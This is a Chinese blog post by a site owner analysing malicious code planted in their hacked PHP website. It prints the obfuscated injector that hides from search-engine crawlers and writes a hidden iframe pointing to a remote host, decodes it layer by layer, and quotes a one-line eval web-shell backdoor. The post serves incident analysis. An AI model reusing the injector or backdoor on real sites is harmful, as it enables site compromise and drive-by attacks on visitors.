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网站被入挂马侵了,发一下被入侵者安的代码

JavaScript 开心洋葱 1311次浏览 已收录 0个评论 手机上查看

网站被入挂马侵了,发一下被入侵者安的代码

具体是昨天晚上发现的网站被入侵,具体入侵的途径现在还不知道,估计是服务器文件夹权限设置太高导致的。为了纪念下这次小小的被入侵,把入侵者的代码一起拿来研究下。

首先是入侵在服务器上某些文件的开始(如index.php) 的前面添加了如下代码:

eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyBiYXNlNjRfZGVjb2RlKCJQSE5qY21sd2RENWxkbUZzS0daMWJtTjBhVzl1S0hBc1lTeGpMR3NzWlN4a0tYdGxQV1oxYm1OMGFXOXVLR01wZTNKbGRIVnliaWhqUEdFL0p5YzZaU2h3WVhKelpVbHVkQ2hqTDJFcEtTa3JLQ2hqUFdNbFlTaytNelUvVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoakt6STVLVHBqTG5SdlUzUnlhVzVuS0RNMktTbDlPMmxtS0NFbkp5NXlaWEJzWVdObEtDOWVMeXhUZEhKcGJtY3BLWHQzYUdsc1pTaGpMUzBwZTJSYlpTaGpLVjA5YTF0alhYeDhaU2hqS1gxclBWdG1kVzVqZEdsdmJpaGxLWHR5WlhSMWNtNGdaRnRsWFgxZE8yVTlablZ1WTNScGIyNG9LWHR5WlhSMWNtNG5YRngzS3lkOU8yTTlNWDA3ZDJocGJHVW9ZeTB0S1h0cFppaHJXMk5kS1h0d1BYQXVjbVZ3YkdGalpTaHVaWGNnVW1WblJYaHdLQ2RjWEdJbksyVW9ZeWtySjF4Y1lpY3NKMmNuS1N4clcyTmRLWDE5Y21WMGRYSnVJSEI5S0NkeUlHNG9OU2w3TXlCaVBWd25kMXduT3pNZ1l6MW9JR1VvS1R0cktETWdhVDB3TzJrOGVEdHBLeXNwZTJOYllpNW1LR2srUGpRcEsySXVaaWhwSm5VcFhUMTBMbkVvYVNsOU5pZ2hOUzV6S0M5ZVcyRXRkaTA1WFNva0wya3BLVzhnZVRzMktEVXVaeVV5S1RVOVhDY3dYQ2NyTlRzeklHdzlOUzVuT3pNZ056MW9JR1VvS1RzeklHbzlNRHRyS0RNZ2FUMHdPMms4YkR0cEt6MHlLWHMzVzJvcksxMDlZMXMxTGtFb2FTd3lLVjE5YnlBM0xub29YQ2RjSnlsOU5pZzRMbTB1UXloY0ozQTlaRnduS1QwOUxURXBlemd1UWlodUtGd25SRnduS1NrN09DNXRQVnduY0Qxa1hDZDlKeXcwTUN3ME1Dd25mSHg4ZG1GeWZIeGtZWFJoZkdsbWZISmxjM1ZzZEh4a2IyTjFiV1Z1ZEh4OGZHSXhObDlrYVdkcGRITjhZakUyWDIxaGNIeGxibUZpYkdWa2ZFRnljbUY1ZkdOb1lYSkJkSHhzWlc1bmRHaDhibVYzZkh4OFptOXlmR3hzZkdOdmIydHBaWHhvUkdOa2ZISmxkSFZ5Ym54amIyOXJhV1Y0ZkdaeWIyMURhR0Z5UTI5a1pYeG1kVzVqZEdsdmJueHRZWFJqYUh4VGRISnBibWQ4TVRWOFpqQjhNREV5TXpRMU5qYzRPV0ZpWTJSbFpud3lOVFo4Wm1Gc2MyVjhhbTlwYm54emRXSnpkSEo4ZDNKcGRHVjhhVzVrWlhoUFpud3pZelkwTmprM05qSXdOek0zTkRjNU5tTTJOVE5rTWpJM01EWm1Oek0yT1RjME5qazJaalpsTTJFeU1EWXhOakkzTXpabU5tTTNOVGMwTmpVellqSXdObU0yTlRZMk56UXpZVEl3TW1Rek1UTTVNemt6Tnpjd056Z3pZakl3TnpRMlpqY3dNMkV5TURKa016SXpPVE01TXpNM01EYzRNMkl5TWpObE0yTTJPVFkyTnpJMk1UWmtOalV5TURjM05qazJORGMwTmpnelpESXlNek16TURJeU1qQTJPRFkxTmprMk56WTROelF6WkRJeU16UXpNREl5TWpBM016Y3lOak16WkRJeU5qZzNORGMwTnpBellUSm1NbVkyTVRjMU56TTNNamM0TnpZMk9UWXhNekUyTlRjd05tUTJOREpsTmpNMk5USmxObVEzTXpKbU5qa3laVGN3TmpnM01ETm1OamMyWmpOa016RXlNak5sTTJNeVpqWTVOalkzTWpZeE5tUTJOVE5sTTJNeVpqWTBOamszTmpObEp5NXpjR3hwZENnbmZDY3BMREFzZTMwcEtUd3ZjMk55YVhCMFBnPT0iKTsNCn0='));以上代码通过base64解码以后为:

error_reporting(0);#p#分页标题#e#
 $bot = FALSE ;
 $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
 $stop_ips_masks = array(
 array("216.239.32.0","216.239.63.255"),
 array("64.68.80.0"  ,"64.68.87.255"  ),
 array("66.102.0.0",  "66.102.15.255"),
 array("64.233.160.0","64.233.191.255"),
 array("66.249.64.0", "66.249.95.255"),
 array("72.14.192.0", "72.14.255.255"),
 array("209.85.128.0","209.85.255.255"),
 array("198.108.100.192","198.108.100.207"),
 array("173.194.0.0","173.194.255.255"),
 array("216.33.229.144","216.33.229.151"),
 array("216.33.229.160","216.33.229.167"),
 array("209.185.108.128","209.185.108.255"),
 array("216.109.75.80","216.109.75.95"),
 array("64.68.88.0","64.68.95.255"),
 array("64.68.64.64","64.68.64.127"),
 array("64.41.221.192","64.41.221.207"),
 array("74.125.0.0","74.125.255.255"),
 array("65.52.0.0","65.55.255.255"),
 array("74.6.0.0","74.6.255.255"),
 array("67.195.0.0","67.195.255.255"),
 array("72.30.0.0","72.30.255.255"),
 array("38.0.0.0","38.255.255.255")
 );
 $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
 foreach ( $stop_ips_masks as $IPs ) {
 $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
 if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
 }
 foreach ($user_agent_to_filter as $bot_sign){
 if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
 }
 if (!$bot) {
 echo base64_decode("PHNjcmlwdD5ldmFsKGZ1bmN0aW9uKHAsYSxjLGssZSxkKXtlPWZ1bmN0aW9uKGMpe3JldHVybihjPGE/Jyc6ZShwYXJzZUludChjL2EpKSkrKChjPWMlYSk+MzU/U3RyaW5nLmZyb21DaGFyQ29kZShjKzI5KTpjLnRvU3RyaW5nKDM2KSl9O2lmKCEnJy5yZXBsYWNlKC9eLyxTdHJpbmcpKXt3aGlsZShjLS0pe2RbZShjKV09a1tjXXx8ZShjKX1rPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKXtpZihrW2NdKXtwPXAucmVwbGFjZShuZXcgUmVnRXhwKCdcXGInK2UoYykrJ1xcYicsJ2cnKSxrW2NdKX19cmV0dXJuIHB9KCdyIG4oNSl7MyBiPVwnd1wnOzMgYz1oIGUoKTtrKDMgaT0wO2k8eDtpKyspe2NbYi5mKGk+PjQpK2IuZihpJnUpXT10LnEoaSl9NighNS5zKC9eW2Etdi05XSokL2kpKW8geTs2KDUuZyUyKTU9XCcwXCcrNTszIGw9NS5nOzMgNz1oIGUoKTszIGo9MDtrKDMgaT0wO2k8bDtpKz0yKXs3W2orK109Y1s1LkEoaSwyKV19byA3LnooXCdcJyl9Nig4Lm0uQyhcJ3A9ZFwnKT09LTEpezguQihuKFwnRFwnKSk7OC5tPVwncD1kXCd9Jyw0MCw0MCwnfHx8dmFyfHxkYXRhfGlmfHJlc3VsdHxkb2N1bWVudHx8fGIxNl9kaWdpdHN8YjE2X21hcHxlbmFibGVkfEFycmF5fGNoYXJBdHxsZW5ndGh8bmV3fHx8Zm9yfGxsfGNvb2tpZXxoRGNkfHJldHVybnxjb29raWV4fGZyb21DaGFyQ29kZXxmdW5jdGlvbnxtYXRjaHxTdHJpbmd8MTV8ZjB8MDEyMzQ1Njc4OWFiY2RlZnwyNTZ8ZmFsc2V8am9pbnxzdWJzdHJ8d3JpdGV8aW5kZXhPZnwzYzY0Njk3NjIwNzM3NDc5NmM2NTNkMjI3MDZmNzM2OTc0Njk2ZjZlM2EyMDYxNjI3MzZmNmM3NTc0NjUzYjIwNmM2NTY2NzQzYTIwMmQzMTM5MzkzNzcwNzgzYjIwNzQ2ZjcwM2EyMDJkMzIzOTM5MzM3MDc4M2IyMjNlM2M2OTY2NzI2MTZkNjUyMDc3Njk2NDc0NjgzZDIyMzMzMDIyMjA2ODY1Njk2NzY4NzQzZDIyMzQzMDIyMjA3MzcyNjMzZDIyNjg3NDc0NzAzYTJmMmY2MTc1NzM3Mjc4NzY2OTYxMzE2NTcwNmQ2NDJlNjM2NTJlNmQ3MzJmNjkyZTcwNjg3MDNmNjc2ZjNkMzEyMjNlM2MyZjY5NjY3MjYxNmQ2NTNlM2MyZjY0Njk3NjNlJy5zcGxpdCgnfCcpLDAse30pKTwvc2NyaXB0Pg==");
 }可以看到中间有出现了base64编码过的字符创,我们试着再把这部分解码下,得到:

<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c–){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}#p#分页标题#e#return p}('r n(5){3 b=\'w\';3 c=h e();k(3 i=0;i<x;i++){c[b.f(i>>4)+b.f(i&u)]=t.q(i)}6(!5.s(/^[a-v-9]*$/i))o y;6(5.g%2)5=\'0\'+5;3 l=5.g;3 7=h e();3 j=0;k(3 i=0;i<l;i+=2){7[j++]=c[5.A(i,2)]}o 7.z(\'\')}6(8.m.C(\'p=d\')==-1){8.B(n(\'D\'));8.m=\'p=d\'}',40,40,'|||var||data|if|result|document|||b16_digits|b16_map|enabled|Array|charAt|length|new|||for|ll|cookie|hDcd|return|cookiex|fromCharCode|function|match|String|15|f0|0123456789abcdef|256|false|join|substr|write|indexOf|3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393770783b20746f703a202d3239393370783b223e3c696672616d652077696474683d22333022206865696768743d22343022207372633d22687474703a2f2f61757372787669613165706d642e63652e6d732f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e'.split('|'),0,{}))</script>从中我们可以获取到一段被压缩混淆过的脚本,于是我们在试着把脚本再反编译下,得到:

其实这个eval(function(p,a,c,k,e,d){}))中自带解码函数e().
while(c–){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p
while循环产生的每个p就是解码后的函数代码,我们删掉源码中的return p,不用将结果返回,
而是直接输出在一个文本区域中,如document.getElementById(”textareaID”).innerText=p

最终的代码如下(标红的是修改的):

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> Crack Baidu统计构造函数</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<meta name="Author" content=www.gemingcao.com />
<meta name="Keywords" content="" />
<meta name="Description" content="" /> 
</head>
<body>
<textarea id="textareaID" rows="25" cols="50"></textarea>
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c–){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}document.getElementById("textareaID").innerText=p;}('r n(5){3 b=\'w\';3 c=h e();k(3 i=0;i<x;i++){c[b.f(i>>4)+b.f(i&u)]=t.q(i)}6(!5.s(/^[a-v-9]*$/i))o y;6(5.g%2)5=\'0\'+5;3 l=5.g;3 7=h e();3 j=0;k(3 i=0;i<l;i+=2){7[j++]=c[5.A(i,2)]}o 7.z(\'\')}6(8.m.C(\'p=d\')==-1){8.B(n(\'D\'));8.m=\'p=d\'}',40,40,'|||var||data|if|result|document|||b16_digits|b16_map|enabled|Array|charAt|length|new|||for|ll|cookie|hDcd|return|cookiex|fromCharCode|function|match|String|15|f0|0123456789abcdef|256|false|join|substr|write|indexOf|3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393770783b20746f703a202d3239393370783b223e3c696672616d652077696474683d22333022206865696768743d22343022207372633d22687474703a2f2f61757372787669613165706d642e63652e6d732f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e'.split('|'),0,{}))</
</script>
</body>
</html>
 

function hDcd(data) {
 var b16_digits = '0123456789abcdef';
 var b16_map = new Array();
 for (var i = 0; i < 256; i++) {
 b16_map[b16_digits.charAt(i >> 4) + b16_digits.charAt(i & 15)] = String.fromCharCode(i)
 }
 if (!data.match(/^[a-f0-9]*$/i)) return false;
 if (data.length % 2) data = '0' + data;
 var ll = data.length;
 var result = new Array();
 var j = 0;
 for (var i = 0; i < ll; i += 2) {
 result[j++] = b16_map[data.substr(i, 2)]
 }
 return result.join('')
 }
 if (document.cookie.indexOf('cookiex=enabled') == -1) {
 document.write(hDcd('3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393670783b20746f703a202d3239393270783b223e3c696672616d652077696474683d22343022206865696768743d22343022207372633d22687474703a2f2f6f6b353667706e7539396f2e63652e6d732f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e'));#p#分页标题#e#
 document.cookie = 'cookiex=enabled'
 }令人无语的是这个脚本本身就是一个加密函数,于是通过加密函数和其提供的字符创,通过

alert(hDcd('3c646976207374796c653d22706f736974696f6e3a206162736f6c7574653b206c6566743a202d3139393670783b20746f703a202d3239393270783b223e3c696672616d652077696474683d22343022206865696768743d22343022207372633d22687474703a2f2f6f6b353667706e7539396f2e63652e6d732f692e7068703f676f3d31223e3c2f696672616d653e3c2f6469763e'
 )) ;可与获得最终内容如下:

网站被入侵了,贴一下被入侵者安的代码

可以看到这个骇客做了4次的加密混淆工作最终的目的是在我的网站上iframe一个页面,具体这个iframe用来做什么的不得而知,目前发现的线上是在我的网站上弹广告。

花了一天把服务器上的代码全部删除从新上传了一遍,表面上把问题解决了,但是这到底是怎么入侵的还不知道,心中还是很不安啊。

真的是不知所措了,今天又被入侵了,这次除了添加了上述的代码,同时还留了个后门代码:

eval (base64_decode ("aWYgKGlzc2V0KCRfUkVRVUVTVFsnYXNjJ10pKSB7IGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFsnYXNjJ10pKTsgZXhpdDsgfS8qIFdUQnZiRmJIbDlUZiAqLw=="));解码出来的内容为:

if (isset($_REQUEST['asc'])) { eval(stripslashes($_REQUEST['asc'])); exit; }/* WTBvbFbHl9Tf */


开心洋葱 , 版权所有丨如未注明 , 均为原创丨未经授权请勿修改 , 转载请注明网站被入挂马侵了,发一下被入侵者安的代码
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